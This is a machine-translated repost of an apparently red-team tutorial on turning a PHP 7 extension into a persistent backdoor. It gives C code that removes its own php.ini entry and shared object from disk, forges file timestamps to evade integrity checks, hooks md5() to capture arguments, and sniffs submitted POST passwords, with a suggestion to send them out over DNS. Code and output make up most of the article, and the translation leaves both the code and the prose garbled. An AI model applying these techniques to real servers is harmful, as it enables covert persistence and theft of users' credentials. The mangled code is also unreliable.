Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to modify the PHP extension as a persistent backdoor

2025-01-30 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

How to modify the PHP extension as a persistent backdoor, for this problem, this article introduces the corresponding analysis and solutions in detail, hoping to help more partners who want to solve this problem to find a more simple and easy way.

In our operation as a red team, we study different durable backdoor approaches because each technology has its own advantages and disadvantages. Choices are usually based on different situations, so the PHP extension is a great choice for peripheral servers.

The focus of this article is as follows:

1. How to reduce tracks

two。 Connect PHP functions and extract useful information from Red Team

3. Intercept the GET / POST parameter PS: the example is tested in a PHP 7 environment (there is a change between PHP 5 and PHP 7 API)

Introduction to 0x00

1. If you add a PHP extension to PHP, the PHP interpreter will load the PHP.ini file at startup (extension = path / to / our / extension)

two。 In the PHP extension, we focus on four hooks:MINIT&MSHUTDOWN, as well as RINIT and RSHUTDOWN. When the interpreter starts and stops, M executes as root (usually). R is executing as a server user.

3. We can read the HTTP header from the request and trigger any action (for example, executing a command or starting a reverse shell). To maintain access to the infected server, the PHP extension is a very good choice. We can use legitimate HTTP requests to interact with this backdoor (as shown in the recommendation article) because firewalls and network rules cannot detect us. But to load our extension, we need to modify the php.ini file and reload the configuration. If the php.ini is not restored, its size, hash and timestamp will be different, the operation will be made public, the blue team wins, and we lose. Of course, php.ini changes should be detected immediately by the file integrity checker, but in fact SOCs tends to ignore such alerts

0x01 php.ini has not been modified

We know that an alert is generated when we modify the php.ini. But if someone SSH connects to the server and cat the php.ini, I can't see anything. Perform ls operations, and the timestamp is also good. Restart the server just to check again that nothing strange has happened. Our back door is still alive. Why is that?

When loading our PHP extension, we don't need to keep the line "extesion = path/to/our.so" in the php.ini file. We can restore it to its original state programmatically. With MINIT hook, we can delete lines added to php.ini, so when the extension is loaded, the hook will be triggered by root (usually), and we can edit the php.ini file without problems. Similarly, we can use MSHUTDOWN to insert a piece of code to add lines to php.ini again, so when the server restarts, we will add "extension =..." again. All right. When the extension is loaded, MINIT is executed and cicle is closed. Using this method, the php.ini file doesn't show anything strange most of the time. Generic functions can be represented as follows:

/ This code sucksint modifyExtension (int action) {char source = NULL; char needle = NULL; FILE fp; size_t newSize; fp = fopen (PHPINI, "a +"); if (fp! = NULL) {if (action = = 1) {if (fseek (fp, 0L, SEEK_END) = = 0) {long bufsize = ftell (fp) / / FileSize if (bufsize = =-1) {return-1;} source = malloc (sizeof (char) (bufsize + 1)); / / Alloc memory to read php.ini if (fseek (fp, 0L, SEEK_SET)! = 0) {return-1; free (source) } newSize = fread (source, sizeof (char), bufsize, fp); if (ferror (fp)! = 0) {return-1; free (source);} else {source [newSize++] ='\ 0' Needle = strstr (source, LOCATION); if (needle! = 0) {FILE tmp = fopen ("/ tmp/.tmpini", "w"); fwrite (source, (needle-source-11), 1, tmp); / / 11 = len ("\ nextension=kk.so") fclose (tmp) Rename ("/ tmp/.tmpini", PHPINI);}} free (source);} fclose (fp);} if (action = = 0) {fwrite ("\ nextension=", 11,1, fp) Fwrite (LOCATION, strlen (LOCATION), 1, fp); fclose (fp); fprintf (stderr, "[+] Extension added to PHP.INI\ n");}} else {return-1;} return 1;}

The corresponding part of this policy is that `MSHUTDOWN hook` will not be executed if the server is kill in an unexpected way. On the other hand, the timestamp will be modified, so we also need to keep this in mind:

# define PHPINI "/ u/know/that/php.ini"... struct stat st;stat (PHPINI, & st); / / Do changesnew_time.actime = st.st_atime;new_time.modtime = st.st_mtime;utime (PHPINI, & new_time); step 2 of 0x02

We showed how to restore php.ini, but if we need to delete and restore the backdoor itself (shared objects), because we are working at the user level (if we use rootkit-for example, a simple LKM- we can hide it). When we load the extension, we can easily save its contents in memory and then delete the file. It's like:

/ / Simple PoCPHP_MINIT_FUNCTION (PoC) {/ / Executed when the module is loaded / / Privilege: root (usually) int fd, check; struct utimbuf new_time; fprintf (stderr, "[+] LOADED\ n"); / / 1) Calculate size of the file struct stat st; if (stat (LOCATION, & st) =-1) {return SUCCESS;} filesize = st.st_size / / 2) Open the file fd = open (LOCATION, O_RDONLY, 0); if (fd = =-1) {return SUCCESS;} / / 3) Map file to memory mapedFile = mmap (NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0); close (fd); / / 4) Delete file remove (LOCATION); / / 5) Get timestamp stat (PHPINI, & st) / / 6) Modify php.ini and delete the extension line check = modifyExtension (1); if (check = =-1) {fprintf (stderr, "[+] PHP.INI could not be edited\ n");} else {fprintf (stderr, "[+] PHP.INI edited\ n");} / 7) Fake timestamp new_time.actime = st.st_atime; new_time.modtime = st.st_mtime Utime (PHPINI, & new_time);

The next step is to use MSHUTDOWN hook to write the shared object from memory to the file:

PHP_MSHUTDOWN_FUNCTION (Allocer) {/ / We write the file again, edit php.ini and fake the timestamp if (mapedFile = = MAP_FAILED) {return SUCCESS;} int check; FILE * fp; struct utimbuf new_time; struct stat st; fp = fopen (LOCATION, "w"); fwrite (mapedFile, 1, filesize, fp); fclose (fp); munmap (mapedFile, filesize); stat (PHPINI, & st) New_time.actime = st.st_atime; new_time.modtime = st.st_mtime; check = modifyExtension (0); utime (PHPINI, & new_time); return SUCCESS;} 0x03 step 3

We now know how to leave the smallest tracks and explained in the Tarlogic blog post how to communicate with our backdoor and trigger the action through the HTTP header, so let's start with something more interesting, such as hooking. As a ReadTeamers, we are eager to obtain the credentials for lateral movement. If we can put a hook in common functions (such as those for hashing passwords or inserting new users into the database), we can parse the key information of the index through DNS (such as this article). As a simple PoC, we will hook the PHP function md5 (). Let's dive into the depths of PHP! The function symbol table is stored as a HashTable in the structure zend_compiler er_globals:

Struct _ zend_compiler_globals {zend_stack loop_var_stack; zend_class_entry active_class_entry; zend_string compiled_filename; int zend_lineno; zend_op_array active_op_array; HashTable function_table; / function symbol table /.

We can access the `function_ table` member through the CG macro and search for the address of the function. Since it is a HashTable, we can use zend_hash_str_find_ptr to search for the key "md5". Finally, we just need to modify the handler (pointing to the address of the function) to point to our hook. Like this:

/ / Placed at MINIT... Zend_function * orig; orig = zend_hash_str_find_ptr (CG (function_table), "md5", strlen ("md5"); orig- > internal_function.handler = zif_md5_hook;.

Check the original md5 function code:

PHP_NAMED_FUNCTION (php_if_md5) {zend_string * arg; zend_bool raw_output = 0; PHP_MD5_CTX context; unsigned char digest [16]; ZEND_PARSE_PARAMETERS_START (1,2) Z_PARAM_STR (arg) Z_PARAM_OPTIONAL Z_PARAM_BOOL (raw_output) ZEND_PARSE_PARAMETERS_END ();

To create our hook first, we need to define it with the correct data type and args. It is shown in the official document that `FunctionN` (anyway) is expanded to `void zif_whatever (INTERNAL_FUNCTION_PARAMETERS) `. So our hook must be created like this:

/ / Test Hook md5void zif_md5_hook (INTERNAL_FUNCTION_PARAMETERS) {php_printf ("[+] Hook called\ n"); zend_string * arg; zend_bool raw_output = 0; ZEND_PARSE_PARAMETERS_START (1,2) Z_PARAM_STR (arg) Z_PARAM_OPTIONAL Z_PARAM_BOOL (raw_output) ZEND_PARSE_PARAMETERS_END () Php_printf ("[+] MD5 Called with parameter:% s", ZSTR_VAL (arg));}

Compile and execute:

Mothra@arcadia:~/php-7.2.8/ext/Allocer | ⇒ sudo / usr/local/bin/php-r "echo md5 ('kk');" [+] LOADED [+] PHP.INI edited [+] Hook called [+] MD5 Called with parameter: kk%0x04 sniffing parameter

Connecting to the juicy function is a good way to get information, but it's much better to capture these values if we know that parameters sent through POST or GET, such as a login form, exist. We will put the code in `RINIT hook` because it will be executed every time the request is processed. To retrieve information, we need to check how the PHP engine works on php_variables.c:

Zval_ptr_dtor_nogc (& PG (http_globals) [TRACK_VARS_POST]); ZVAL_COPY_VALUE (& PG (http_globals) [TRACK_VARS_POST], & array);

Therefore, the variable is treated as an array from `http_ globals`. The easiest way to search for a specific value (for example, we want to describe the `"pass "`parameter sent in the login form) is to get the HashTable from the array and then use API to search, just like the md5 function we searched before. The magic function we do this is HASH_OF:

Zval password; zval post_arr; HashTable * post_hash; post_arr = & PG (http_globals) [TRACK_VARS_POST]; / / Array post_hash = HASH_OF (post_arr); password = zend_hash_str_find (post_hash, "pass", strlen ("pass")); if (password! = 0) {php_printf ("Password:% s", Z_STRVAL_P (password));}

If we test it:

Mothra@arcadia:~/php-7.2.8/ext/Allocer | ⇒ curl localhost:8888/k.php-- data "pass=s0S3cur3" Password: s0S3cur3

Now, this password can be saved in a file or simply sent to our own DNS server via DNS.

The last words of 0x05

PHP extensions are a powerful way to persist in your goals, and of course, this is the best excuse to start using PHP internally. If you find this article useful or point out my mistakes, please contact me at twitter @ TheXC3LL.

This is the answer to the question about how to modify the PHP extension as a lasting backdoor. I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report